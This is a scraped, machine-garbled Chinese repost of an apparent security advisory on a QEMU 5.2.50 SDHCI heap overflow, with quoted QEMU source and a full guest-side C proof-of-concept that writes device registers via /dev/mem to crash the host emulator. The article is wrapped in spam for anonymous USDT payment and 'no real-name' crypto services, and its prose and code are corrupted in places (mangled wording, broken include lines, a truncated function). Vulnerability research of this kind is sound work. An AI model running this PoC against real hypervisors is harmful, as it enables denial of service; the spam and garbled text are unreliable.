USDT第三方支付

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

破绽形貌

QEMU 5.2.50版本存在堆溢露马脚,一旦乐成行使,可能导致敏感信息泄露,增添或修改数据,或拒绝服务(DoS)等平安威胁。

手艺细节

SDHCI是Secure Digital Host Controller Interface的首字母缩写。其中,Secure Digital是一种专有的非易失性存储卡名堂,由SD协会(SDA)为便携式装备而开发。QEMU中的SDHCI代码是基于SD协会手艺委员会的SD主机控制器规范Ver2.0版本的SD控制器仿真实现的。

下图展示了SDHCI装备的寄存器,通过对某些寄存器举行写操作,我们就可以与该装备举行交互。

图1:SDHCI寄存器

这个破绽代码位于QEMU代码中的SDHCI组件中。当blksize/block size(块缓冲区的巨细)在数据传输历程中或完成传输后被改动,就会触发该破绽;现实上,我们可以通过向寄存器的偏移量0x4处写入数据来改变blksize。之后,在将数据存储到块缓冲区的当前偏移量处时,代码在盘算时就会失足。块缓冲区的当前偏移量被存储在data_count变量中。当试图继续从块缓冲区传输数据时,数据的长度公式为blksize-data_count,这个长度是为了使块缓冲区被填满,然则由于在传输历程中blksize可能发生转变,如变为0,而data_count又没有被清零,以是盘算出的blksize-data_count将导致溢出——由于这种盘算会让传输的数据的长度极为膨胀(如0xfffffe01-0xffffffff),从而导致数据在堆与块缓冲区之间发生溢出。

该破绽存在于sdhci_do_adma函数中,该函数用于处置虚拟机系统内存中sdhci与DMA缓冲区之间的数据传输。

/* Advanced DMA data transfer */
static void sdhci_do_adma(SDHCIState *s)
{
   unsigned int begin, length;
   const uint16_t block_size = s->blksize & BLOCK_SIZE_MASK;
   ADMADescr dscr = {};
   int i;
   ...
   for (i = 0; i < SDHC_ADMA_DESCS_PER_DELAY; ++i) {
       s->admaerr &= ~SDHC_ADMAERR_LENGTH_MI *** ATCH;
 
       get_adma_description(s, &dscr);
       ...
       length = dscr.length ? dscr.length : 64 * KiB;
 
       switch (dscr.attr & SDHC_ADMA_ATTR_ACT_MASK) {
       case SDHC_ADMA_ATTR_ACT_TRAN:  /* data transfer */
           if (s->trnmod & SDHC_TRNS_READ) {
               while (length) {
                   ...
                   begin = s->data_count;
                   if ((length + begin) < block_size) {
                       s->data_count = length + begin;
                       length = 0;
                    } else {
                       s->data_count = block_size;
                       length -= block_size - begin;
                   }
                   dma_memory_write(s->dma_as, dscr.addr,
                                    &s->fifo_buffer[begin],
                                    s->data_count - begin);
                   dscr.addr += s->data_count - begin;
                   ...
               }
           } else {
               ...
           }
           ...
       ...
       }
       ...
       /* ADMA transfer terminates if blkcnt == 0 or by END attribute */
       if (((s->trnmod & SDHC_TRNS_BLK_CNT_EN) &&
                   (s->blkcnt == 0)) || (dscr.attr & SDHC_ADMA_ATTR_END)) {
           ...
           sdhci_end_transfer(s);
           return;
       }
 
   }
   /* we have unfinished business - reschedule to continue ADMA */
   timer_mod(s->transfer_timer,
                  qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL) + SDHC_TRANSFER_DELAY);
}

这个函数将凭证adma的形貌信息向/从DMA传输数据。而adma的形貌信息是由get_adma_description给出的,并被存储在变量desc中。

static void get_adma_description(SDHCIState *s, ADMADescr *dscr)
{
   uint32_t adma1 = 0;
   uint64_t adma2 = 0;
   hwaddr entry_addr = (hwaddr)s->admasysaddr;
   switch (SDHC_DMA_TYPE(s->hostctl1)) {
   case SDHC_CTRL_ADMA2_32:
       dma_memory_read(s->dma_as, entry_addr, &adma2, sizeof(adma2));
       adma2 = le64_to_cpu(adma2);
       /* The spec does not specify endianness of descriptor table.
        * We currently assume that it is LE.
        */
       dscr->addr = (hwaddr)extract64(adma2, 32, 32) & ~0x3ull;
       dscr->length = (uint16_t)extract64(adma2, 16, 16);
       dscr->attr = (uint8_t)extract64(adma2, 0, 7);
       dscr->incr = 8;
       break;
   case SDHC_CTRL_ADMA1_32:
       dma_memory_read(s->dma_as, entry_addr, &adma1, sizeof(adma1));
       adma1 = le32_to_cpu(adma1);
       dscr->addr = (hwaddr)(adma1 & 0xFFFFF000);
       dscr->attr = (uint8_t)extract32(adma1, 0, 7);
       dscr->incr = 4;
       if ((dscr->attr & SDHC_ADMA_ATTR_ACT_MASK) == SDHC_ADMA_ATTR_SET_LEN) {
           dscr->length = (uint16_t)extract32(adma1, 12, 16);
       } else {
           dscr->length = 4 * KiB;
       }
       break;
   case SDHC_CTRL_ADMA2_64:
       dma_memory_read(s->dma_as, entry_addr, &dscr->attr, 1);
       dma_memory_read(s->dma_as, entry_addr + 2, &dscr->length, 2);
       dscr->length = le16_to_cpu(dscr->length);
       dma_memory_read(s->dma_as, entry_addr + 4, &dscr->addr, 8);
       dscr->addr = le64_to_cpu(dscr->addr);
       dscr->attr &= (uint8_t) ~0xC0;
       dscr->incr = 12;
       break;
   }
}

固然,还存在其他版本的ADMA,它们可以通过写hostctl寄存器来举行控制。就这里来说,对于SDHC_CTRL_ADMA2_64代码,我们也只能使用SDHC_CTRL_ADMA2_32和SDHC_CTRL_ADMA1_32,由于这个QEMU装备不允许将DMA类型设置为SDHC_CTRL_ADMA2_64。我们将在以后重新审阅这个问题。现在来说,我们将使用ADMA2_32。

ADMA形貌信息用于形貌目的物理内存的地址、长度和属性,好比在缓冲区和系统内存之间举行读/写操作时。SDHCI将从物理内存中读取ADMA形貌信息,其中地址是在admasysaddr中界说的,我们可以通过向ADMA系统地址寄存器的偏移量0x58处中写入地址值来对其举行控制。

 

图2:ADMA形貌符示意图

以后,ADMA形貌符将被用作数据传输的信息。例如,下面的代码是用来将数据从系统内存传输到装备的。在模块中,还可以通过将某些位设置为SDHC_ADMA_ATTR_ACT_TRAN将数据从装备传输到系统内存,若是我们想要向系统内存传输数据或从系统内存传输数据,可以设置trnmod寄存器。

       switch (dscr.attr & SDHC_ADMA_ATTR_ACT_MASK) {
       case SDHC_ADMA_ATTR_ACT_TRAN:  /* data transfer */
           if (s->trnmod & SDHC_TRNS_READ) {
               while (length) {
                   if (s->data_count == 0) {
                       sdbus_read_data(&s->sdbus, s->fifo_buffer, block_size); // fill the buffer from sd
                   }
                   begin = s->data_count;
                   if ((length + begin) < block_size) {
                       s->data_count = length + begin; // [1]
                       length = 0;
                    } else {
                       s->data_count = block_size;
                       length -= block_size - begin;
                   }
                   dma_memory_write(s->dma_as, dscr.addr,
                                    &s->fifo_buffer[begin],
                                    s->data_count - begin); // [2]
                   dscr.addr += s->data_count - begin;
                   if (s->data_count == block_size) {
                       s->data_count = 0; // [3]
                       if (s->trnmod & SDHC_TRNS_BLK_CNT_EN) {
                           s->blkcnt--;
                           if (s->blkcnt == 0) {
                               break;
                           }
                       }
                   }
               }
           }
          else {
               ...
          }

上面的代码将通过DMA将数据从装备传输到系统内存。当length的值不为零时,这段代码将一直循环下去,并通过dma_memory_write逐块传输。它会将数据从&s->fifo_buffer[begin]传输到dscr.addr中形貌的系统内存中,数据的长度为s->data_count-begin。当s->blkcnt为零或者length为零时,这个循环就会竣事;然则,通过祛除通过SDHC_TRNS_BLK_CNT_EN界说的一个位,我们可以就可以让上述代码对s->blkcnt置之度外。

在这个循环竣事后,我们可以通过使最后一次循环执行代码[1]来使s->data_count,从让[3]处的代码不被执行。

下面这段代码将在数据传输循环完成后执行。

       /* ADMA transfer terminates if blkcnt == 0 or by END attribute */
       if (((s->trnmod & SDHC_TRNS_BLK_CNT_EN) &&
                   (s->blkcnt == 0)) || (dscr.attr & SDHC_ADMA_ATTR_END))     
       {
           trace_sdhci_adma_transfer_completed();
           ...
           sdhci_end_transfer(s);
           return;
       }
 
   }
 
   /* we have unfinished business - reschedule to continue ADMA */
   timer_mod(s->transfer_timer,
                  qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL) + SDHC_TRANSFER_DELAY);

若是s->blkcnt为零或者ADMA形貌符提供了END属性,则举行if检查,否则说明我们尚有未完成的传输,这时需重新举行调剂,以继续ADMA传输,并在未来再次执行sdhci_do_adma。

稍后,我们可以将块长度寄存器改为零,然后再次继续执行sdhci_do_adma。之后,将再次执行前面注释过的代码。这时,下面存在破绽的代码将会触发堆溢出。

                   begin = s->data_count;
                   if ((length + begin) < block_size) {
                       s->data_count = length + begin;
                       length = 0;
                    } else {
                       s->data_count = block_size; // [1]
                       length -= block_size - begin;
                   }
                   dma_memory_write(s->dma_as, dscr.addr,
                                    &s->fifo_buffer[begin],
                                    s->data_count - begin); // [2]
                   dscr.addr += s->data_count - begin;

现在,我们知道s->data_count来自于上一次未完成的传输,而且这个值不为零,它将被存储到变量begin中。然后,将执行else代码块,把block_size赋值给s->data_count。厥后,dma_memory_write将被挪用,其参数length的值为s->data_count-begin,由于s->data_count为零(来自block_size),而begin不为零,以是发生溢出,导致传输的数据长度极大。现实上,我们获得了一个基于堆溢出的读取原语,通过它,我们可以将fifo_buffer转移到系统内存中。

另一方面,我们可以通过控制这段代码的执行来实现基于堆溢出的写入原语,详细如下所示。

} else {
               while (length) {
                   begin = s->data_count;
                   if ((length + begin) < block_size) {
                       s->data_count = length + begin;
                       length = 0;
                    } else {
                       s->data_count = block_size;
                       length -= block_size - begin;
                   }
                   dma_memory_read(s->dma_as, dscr.addr,
                                   &s->fifo_buffer[begin],
                                   s->data_count - begin);
                   dscr.addr += s->data_count - begin;
                   if (s->data_count == block_size) {
                       sdbus_write_data(&s->sdbus, s->fifo_buffer, block_size);
                       s->data_count = 0;
                       if (s->trnmod & SDHC_TRNS_BLK_CNT_EN) {
                           s->blkcnt--;
                           if (s->blkcnt == 0) {
                               break;
                           }
                       }
                   }
               }
           }

这与前面的代码异常类似,差异之处在于,这里是通过DMA把数据从系统内存转移到fifo_buffer,换句话说,我们可以行使堆溢露马脚把数据写到fifo_buffer中。

对于堆溢露马脚来说,常见的行使思绪就是通过笼罩堆中的某些数据(如指针、函数指针)来实现RCE,或笼罩其他的值,以便为进一步的破绽行使铺路。

为了触发这个破绽,我们需要直接执行sdhci_do_adma函数,但在这之前,我们需要先设置几个寄存器,如传输模式、块长度和主机控制寄存器。此外,我们还需要与装备举行通讯。在这种情形下,我们可以通过写入装备的PCI地址举行通讯,以将我们的值写入物理内存地址。

要知道地址在那里,可以在虚拟机操作系统中使用lspci -v下令找到谜底。在lspci -v的输出中,有一个关于SD主机控制器的形貌符,其中含有一个内存地址0xfebf1000。以是,若是我们想在某个偏移量处对寄存器执行写操作,可以将0xfebf1000作为偏移量的起始地址,以是,到地址0xfebf1000+n处的偏移量为n。

为了与装备举行交互,我们需要对物理内存基址0xfebf1000举行读写操作。为了读写物理内存地址,我们可以使用Linux虚拟机中的系统挪用mmap,通过/dev/mem来映射物理地址,详细代码如下所示。

,define SDHCI_ADDR 0xfebf1000
,define SDHCI_SIZE 256
unsigned char* sdhci_map = NULL;
int fd;
void* devmap( size_t offset, size_t size)
{
   void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_FILE|MAP_SHARED, fd, offset );
   if ( result == (void*)(-1) ) {
       perror( "mmap" );
   }
   return result;
}
int main( int argc, char **argv ) {
   fd = open( "/dev/mem", O_RDWR | O_SYNC );
   if ( fd == -1 ) {
       perror( "open /dev/mem" );
       return 0;
   }
   sdhci_map = devmap(SDHCI_ADDR, SDHCI_SIZE);
   printf("success %p\n", sdhci_map);
   ...
}

首先,打开/dev/mem以获得存储在fd变量中的文件形貌符,然后将fd变量用作mmap的第四个参数。另外,函数devmap用于通过/dev/mem来映射物理地址。为了映射一个位于0xfebf1000处的SDHCI地址,可以把地址作为第一个参数传已往,然后用256作为mmap的长度,由于SDHCI寄存器的长度是256。在这之后,我们只需通过存储在sdhci_map变量中的指针就能对内存举行读写,从而与装备举行通讯了。

为了触发代码中的破绽,我们需要设置几个寄存器。根据规范,我将电源控制寄存器设置为0x3b,将主机控制寄存器设置为0xd7以启用高级DMA。之后,我们还需要设置块长度寄存器和传输模式寄存器,这里我们将传输模式寄存器设置为0x21,以执行从装备内存到系统内存的读操作。根据规范,我们可以通过对一个下令寄存器执行写操作来触发数据传输,并最终挪用破绽所在的sdhci_do_adma函数。

,

USDT跑分网

U交所(www.payusdt.vip),全球頂尖的USDT場外擔保交易平臺。

,
static void
sdhci_write(void *opaque, hwaddr offset, uint64_t val, unsigned size)
{
   SDHCIState *s = (SDHCIState *)opaque;
   unsigned shift =  8 * (offset & 0x3);
   uint32_t mask = ~(((1ULL << (size * 8)) - 1) << shift);
   uint32_t value = val;
   value capareg & R_SDHC_CAPAB_SDMA_MASK)) {
           value &= ~SDHC_TRNS_DMA;
       }
       MASKED_WRITE(s->trnmod, mask, value & SDHC_TRNMOD_MASK);
       MASKED_WRITE(s->cmdreg, mask >> 16, value >> 16);
 
       /* Writing to the upper byte of CMDREG triggers SD command generation */
       if ((mask & 0xFF000000) || !sdhci_can_issue_command(s)) {
           break;
       }
 
       sdhci_send_command(s);
       break;
     …
}

现实上,每次执行写内存操作时,对SDHCI寄存器的处置都是由sdhci_write函数来卖力的。若是我们对下令寄存器的高位字节执行写操作,凭证上述代码将触发sdhci_send_command函数。

static void sdhci_send_command(SDHCIState *s)
{
   SDRequest request;
   uint8_t response[16];
   int rlen;
 
   s->errintsts = 0;
   s->acmd12errsts = 0;
   request.cmd = s->cmdreg >> 8;
   request.arg = s->argument;
   sdhci_update_irq(s);
   ...
   if (s->blksize && (s->cmdreg & SDHC_CMD_DATA_PRESENT)) {
       s->data_count = 0;
       sdhci_data_transfer(s);
   }
}

在上面的代码中,sdhci_send_command函数将挪用sdhci_data_transfer函数来实现数据传输。

/* Perform data transfer according to controller configuration */
 
static void sdhci_data_transfer(void *opaque)
{
   SDHCIState *s = (SDHCIState *)opaque;
 
   if (s->trnmod & SDHC_TRNS_DMA) {
       switch (SDHC_DMA_TYPE(s->hostctl1)) {
       ...
       case SDHC_CTRL_ADMA2_32:
           if (!(s->capareg & R_SDHC_CAPAB_ADMA2_MASK)) {
               trace_sdhci_error("ADMA2 not supported");
               break;
           }
           sdhci_do_adma(s);
           break;
        ...
   }
   ...
}

通过控制传输模式和主机控制寄存器,我们可以将执行流指导至sdhci_do_adma函数。

函数sdhci_do_adma在装备和系统内存之间的传输数据时,我们未完成的数据传输将放置在该义务之后完成,以是,装备将挪用sdhci_data_transfer(它将再次挪用sdhci_do_adma)以在未来继续处置我们的传输义务。在继续传输之前,我们将块长度寄存器设置为0,以便在sdhci_do_adma函数中触发下一次传输的错误。

在SDHCI寄存器中的每个读写操作都将由sdhci_write和sdhci_read操作来处置。这些函数将检查是否尚有未完成的传输,若是有的话,它将通过挪用sdhci_resume_pending_transfer继续处置这些传输义务。

static void
sdhci_write(void *opaque, hwaddr offset, uint64_t val, unsigned size)
{
   SDHCIState *s = (SDHCIState *)opaque;
   unsigned shift =  8 * (offset & 0x3);
   uint32_t mask = ~(((1ULL << (size * 8)) - 1) << shift);
   uint32_t value = val;
   value transfer_timer);
   sdhci_data_transfer(s);
}

在此之前,我们需要存储ADMA形貌信息,并通过SDHCI寄存器将ADMA形貌信息的地址存储到ADMA系统地址寄存器中。为了简朴起见,我把ADMA形貌符写入物理地址0,然后通过SDCHI寄存器把0值写入ADMA系统地址寄存器。

void writeb(unsigned char* mem, int idx, unsigned char val) {
   mem[idx] = val;
}
 
void writew(unsigned char* mem, int idx, unsigned short val) {
   *((unsigned short*)&mem[idx]) = val;
}
 
void writel(unsigned char* mem, int idx, unsigned int val) {
   *((unsigned int*)&mem[idx]) = val;
}
 
void writeq(unsigned char* mem, int idx, unsigned long val) {
   *((unsigned long*)&mem[idx]) = val;
}
int main( int argc, char **argv ) {
   fd = open( "/dev/mem", O_RDWR | O_SYNC );
   if ( fd == -1 ) {
       perror( "open /dev/mem" );
       return 0;
   }
   unsigned char* page = devmap(MEM_ADDR, MEM_SIZE);
   printf("success %p\n", page);
   memset(page, 0, 1024);
   writeb(page, 0x00, 0x29); // SDHC_ADMA_ATTR_ACT_TRAN
   writeb(page, 0x02, 0x10);
   writel(page, 0x04, MEM_ADDR);
   writeb(page, 0x08, 0x39); // SDHC_ADMA_ATTR_ACT_LINK
   writel(page, 0xc, MEM_ADDR);
   ...
   writeq(sdhci_map, 0x58, MEM_ADDR); // system adma address
   ...
}

在这里,我们确立了两个ADMA形貌符。每个形貌符的巨细为0x8字节,形貌用于数据传输或指向另一个ADMA形貌符的物理内存的属性、长度缓和冲区地址。

对于第一次传输,它将使用地址为0的ADAM形貌符。为此,我设置了一个带有SDHC_ADMA_ATTR_ACT_TRAN的ADMA形貌符,用于数据传输。在第一次传输后,ADMA系统地址寄存器将被加8,以指向下一个ADMA形貌符。为此,我设置了一个ADMA形貌符,以SDHC_ADMA_ATTR_ACT_LINK作为属性,其地址为0。有了这个属性,ADMA系统地址将再次存储到地址0处。在本例中,我们的操作异常简朴,因此不需要确立一堆ADMA形貌符,而是每次循环确立一个ADMA形貌符。

以是,sdhci_do_adma函数将被挪用三次。第一次挪用时,只需要填充data_count变量。第二次,函数sdhci_do_adma是被sdhci_resume_pending_transfer函数挪用。第三次,sdhci_do_adma函数照样被sdhci_resume_pending_transfer挪用的,其中ADMA形貌符被存储到地址0x00处。存储在地址0x00处的ADMA形貌符中的地址将用于数据传输,由于data_count被上一次的传输填满了,以是块长度为0,这样就会触发平安破绽。

/* Advanced DMA data transfer */
 
static void sdhci_do_adma(SDHCIState *s)
{
   unsigned int begin, length;
   const uint16_t block_size = s->blksize & BLOCK_SIZE_MASK;
   ADMADescr dscr = {};
   int i;
   ...
      switch (dscr.attr & SDHC_ADMA_ATTR_ACT_MASK) {
       case SDHC_ADMA_ATTR_ACT_TRAN:  /* data transfer */
           if (s->trnmod & SDHC_TRNS_READ) {
 
                   begin = s->data_count;
                   if ((length + begin) < block_size) {
                       s->data_count = length + begin;
                       length = 0;
                    } else {
                       s->data_count = block_size; // [1]
                       length -= block_size - begin;
                   }
                   dma_memory_write(s->dma_as, dscr.addr,
                                    &s->fifo_buffer[begin],
                                    s->data_count - begin); // [1]
                   dscr.addr += s->data_count - begin;
 
/* Advanced DMA data transfer */
 
static void sdhci_do_adma(SDHCIState *s)
{
       switch (dscr.attr & SDHC_ADMA_ATTR_ACT_MASK) {
       case SDHC_ADMA_ATTR_ACT_TRAN:  /* data transfer */
           ...
           s->admasysaddr += dscr.incr;
           break;
       case SDHC_ADMA_ATTR_ACT_LINK:   /* link to next descriptor table */
           s->admasysaddr = dscr.addr;
           trace_sdhci_adma("link", s->admasysaddr);
           break;
         ...
         }
      ...
}

下面是触发这个破绽的最终代码,若是我们在虚拟机的Linux系统上运行,将导致QEMU分段故障并溃逃。在运行这段代码之前,我们需要通过在SDHCI中启用主控位来激活DMA传输,为此,可以使用如下上述的下令:sudo setpci -s 00:04.0 4.B=7,其中00:04.0是PCI装备号,4.B=7是用来激活总线主控位。

,include
,include
,include
,include
,include
,include
,include
,include
,include
,include
 
,define SDHCI_ADDR 0xfebf1000
,define SDHCI_SIZE 256
,define MEM_ADDR 0x00000000
,define MEM_SIZE (4096)
 
unsigned char* sdhci_map = NULL;
int fd;
 
void* devmap( size_t offset, size_t size)
{
   void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_FILE|MAP_SHARED, fd, offset );
   if ( result == (void*)(-1) ) {
       perror( "mmap" );
   }
   return result;
}
 
void writeb(unsigned char* mem, int idx, unsigned char val) {
   mem[idx] = val;
}
 
void writew(unsigned char* mem, int idx, unsigned short val) {
   *((unsigned short*)&mem[idx]) = val;
}
 
void writel(unsigned char* mem, int idx, unsigned int val) {
   *((unsigned int*)&mem[idx]) = val;
}
 
void writeq(unsigned char* mem, int idx, unsigned long val) {
   *((unsigned long*)&mem[idx]) = val;
}
 
int main( int argc, char **argv ) {
   fd = open( "/dev/mem", O_RDWR | O_SYNC );
   if ( fd == -1 ) {
       perror( "open /dev/mem" );
       return 0;
   }
   unsigned char* page = devmap(MEM_ADDR, MEM_SIZE);
   printf("success %p\n", page);
   memset(page, 0, 1024);
   writeb(page, 0x00, 0x29); // SDHC_ADMA_ATTR_ACT_TRAN
   writeb(page, 0x02, 0x10);
   writel(page, 0x04, MEM_ADDR);
   writeb(page, 0x08, 0x39); // SDHC_ADMA_ATTR_ACT_LINK
   writel(page, 0xc, MEM_ADDR);
   getchar();
   sdhci_map = devmap(SDHCI_ADDR, SDHCI_SIZE);
   printf("success %p\n", sdhci_map);
   writew(sdhci_map, 0x28, 0x3bd7); // power and host control
   writeb(sdhci_map, 0x05, 0x2c); // block size
   writeb(sdhci_map, 0x0c, 0x21); // transfer mode = SDHC_TRNS_READ
  writeq(sdhci_map, 0x58, MEM_ADDR); // system adma address
 
   writew(sdhci_map, 0x0e, 0x846e); // command
   writew(sdhci_map, 0x04, 0x0000); // block size
   writew(sdhci_map, 0x08, 0x0); // argument 0, write anything just need to resume the transfer.
   getchar();
   close( fd );
}
// sudo setpci -s 00:04.0 4.B=7 && gcc -o new new.c && sudo ./new

图3:触发破绽的PoC代码

图4:溃逃的QEMU

图5:当溃逃发生时QEMU的客栈跟踪信息

若是查看客栈跟踪信息,将会看到来自sdhci_do_adma的溃逃,并在dma_memory_read中向len通报给了一个异常大的数字(0xffffff80)。

虽然我们希望行使此破绽,但事实证实这个破绽不太可能被行使,由于我们无法完全控制溢出长度。

若是我们可以控制溢出长度,则可以轻松实现越界读写。就本例来说,我们无法完全控制溢出的长度。不外,我们可以将通报给dma_memory_read/write的长度控制在0xfffffe01-0xffffffff局限内,这就意味着,我们险些可以笼罩并读取靠近4GB的内存。

static void sdhci_do_adma(SDHCIState *s)
{
   unsigned int begin, length;
   const uint16_t block_size = s->blksize & BLOCK_SIZE_MASK;
   ...
          length = dscr.length ? dscr.length : 64 * KiB;
          ...
               while (length) {
                   if (s->data_count == 0) {
                       sdbus_read_data(&s->sdbus, s->fifo_buffer, block_size);
                   }
                   begin = s->data_count;
                   if ((length + begin) < block_size) {
                       s->data_count = length + begin;
                       length = 0;
                    } else {
                       s->data_count = block_size;
                       length -= block_size - begin;
                   }
                   dma_memory_write(s->dma_as, dscr.addr,
                                    &s->fifo_buffer[begin],
                                    s->data_count - begin);
                   dscr.addr += s->data_count - begin;
                   if (s->data_count == block_size) {
                       s->data_count = 0;
                       if (s->trnmod & SDHC_TRNS_BLK_CNT_EN) {
                           s->blkcnt--;
                           if (s->blkcnt == 0) {
                               break;
                           }
                       }
                   }
               }
    ...
}

在这里,示意长度的数据的位宽是16比特,由于它来自DSCR.length,它的位宽为16比特,被存储在无符号整型变量中。现实上,该装备的块长度寄存器经由了充实的检查(此处未显示相关代码),因此block_size变量永远不会大于0x200,同时,它还会影响data_count变量,致使后者的值永远不会大于0x200。因此,这段代码缺乏另一个整数溢出来控制将通报给DMA_MEMORY_READ/WRITE的长度,以是,我们的眼前唯一的一个障碍是,即待通报数据的长度(DMA_MEMORY_WRITE/READ的第三个参数,而不是length变量)介于0xFFFFFE01-0xFFFFFFFFF局限内。

面临这个障碍,我们需要在举行数据传输的同时对堆举行喷射,以使堆增进到足够大,这样传输就不会由于接见未映射的内存而发生segfault故障。然后,我们需要在系统内存中确立一个4GB的缓冲区,来存储我们的payload,这个缓冲区将被用来从Qemu堆中读取4GB的数据,以触发信息泄露,到达目的后,我们就可以执行写操作,将4GB的数据再写入堆中。系统内存中的4GB缓冲区必须是物理上延续的,由于我们是通过DMA读写操作与装备举行物理对话的。现实上,这个要求险些是无法实现的,由于随机接见内存的行为使得我们很难向内核请求4GB物理上延续的内存,纵然我们专门编写内核驱动程序来完成这项义务,也是云云。在Linux系统中,有一种方式可以通过设置内核启动参数保留内存位置,这样的话,我们就能获得4GB物理上延续的内存。众所周知,内核启动参数就是由系统注释的文本字符串,它可以改变特定的行为,启用或禁用某些功效,然则,内核启动参数只有在我们重新启念头械时才会发生影响,纵然在这种情形下,获得4GB物理上延续的内存也是不太现实的,由于攻击者需要在重新启念头械时实现虚拟机逃逸。

假设,我们可以在内核中分配物理上延续的内存,由于我们的RAM足够大——这仍然是不能行的,由于我们只有32位的ADMA,这意味着,我们不能使用4GB之外的地址存储缓冲区,由于Qemu代码中的SDHCI装备并不支持它。同时,我们也不能在4GB以下的地址中存储缓冲区,由于有大量的预留内存被内核、bios或内存映射的I/O所占用,否则的话,会导致虚拟机操作系统不稳固甚至溃逃。您可以在下图中看到Linux操作系统的相关信息。现实上,我们以为其他操作系统的情形也与此类似。

 

图6:通过dmesg下令显示4GB地址以下的保留内存

下面这段代码支持64位ADMA。现实上,我们可以通过设置主机控制寄存器来使用64位ADMA:

static void get_adma_description(SDHCIState *s, ADMADescr *dscr)
{
   uint32_t adma1 = 0;
   uint64_t adma2 = 0;
   hwaddr entry_addr = (hwaddr)s->admasysaddr;
   switch (SDHC_DMA_TYPE(s->hostctl1)) {
   ...
   case SDHC_CTRL_ADMA2_64:
       dma_memory_read(s->dma_as, entry_addr, &dscr->attr, 1);
       dma_memory_read(s->dma_as, entry_addr + 2, &dscr->length, 2);
       dscr->length = le16_to_cpu(dscr->length);
       dma_memory_read(s->dma_as, entry_addr + 4, &dscr->addr, 8);
       dscr->addr = le64_to_cpu(dscr->addr);
       dscr->attr &= (uint8_t) ~0xC0;
       dscr->incr = 12;
       break;
   }
}

当我们使用64位ADMA时,还需要举行一项检查:检查SDHCI_DATA_TRANFRT函数中的功效寄存器,若是验证通过,它将挪用sdhci_do_adma函数。

/* Perform data transfer according to controller configuration */
static void sdhci_data_transfer(void *opaque)
{
   SDHCIState *s = (SDHCIState *)opaque;
 
   if (s->trnmod & SDHC_TRNS_DMA) {
       switch (SDHC_DMA_TYPE(s->hostctl1)) {
       ...
       case SDHC_CTRL_ADMA2_64:
           if (!(s->capareg & R_SDHC_CAPAB_ADMA2_MASK) ||
                   !(s->capareg & R_SDHC_CAPAB_BUS64BIT_MASK)) {
               trace_sdhci_error("64 bit ADMA not supported");
               break;
           }
 
           sdhci_do_adma(s);
           Break;
    ...
}

功效寄存器是一个只读寄存器,用于存储有关主机控制器的信息。我们可以通过界说在SDHCI_INTERNAL.h文件中的某个常量将功效寄存器值设置为默认值。

/*
* Default SD/MMC host controller features information, which will be
* presented in CAPABILITIES register of generic SD host controller at reset.
*
* support:
* - 3.3v and 1.8v voltages
* - SDMA/ADMA1/ADMA2
* - high-speed
* max host controller R/W buffers size: 512B
* max clock frequency for SDclock: 52 MHz
* timeout clock frequency: 52 MHz
*
* does not support:
* - 3.0v voltage
* - 64-bit system bus
* - suspend/resume
*/

从功效寄存器中R_SDHC_CAPAB_BUS64BIT_MASK的位值来看,这个装备并不支持64位ADMA寄存器,这就意味着我们无法在4GB地址以上的物理内存中确立缓冲区。以是,在这种限制下,我们无法行使这个破绽举行完整的行使,如实现虚拟机逃逸。相反,对于这个破绽,只能用于发动DOS攻击,使QEMU溃逃并退出。

时间线

2020-12-28,将该破绽讲述给供应商。

2021-03-09,供应商分配CVE编号。

本文翻译自:https://starlabs.sg/advisories/21-3409/ Allbet Gaming声明:该文看法仅代表作者自己,与本平台无关。转载请注明:在哪里买usdt(www.payusdt.vip):深入剖析QEMU的SDHCI组件中的堆溢露马脚
发布评论

分享到:

usdt无需实名(www.payusdt.vip):艾略特佩芝首谈切乳喜极而泣 继哈里梅根后 奥花云费瞩目专访今日播
你是第一个吃螃蟹的人
发表评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。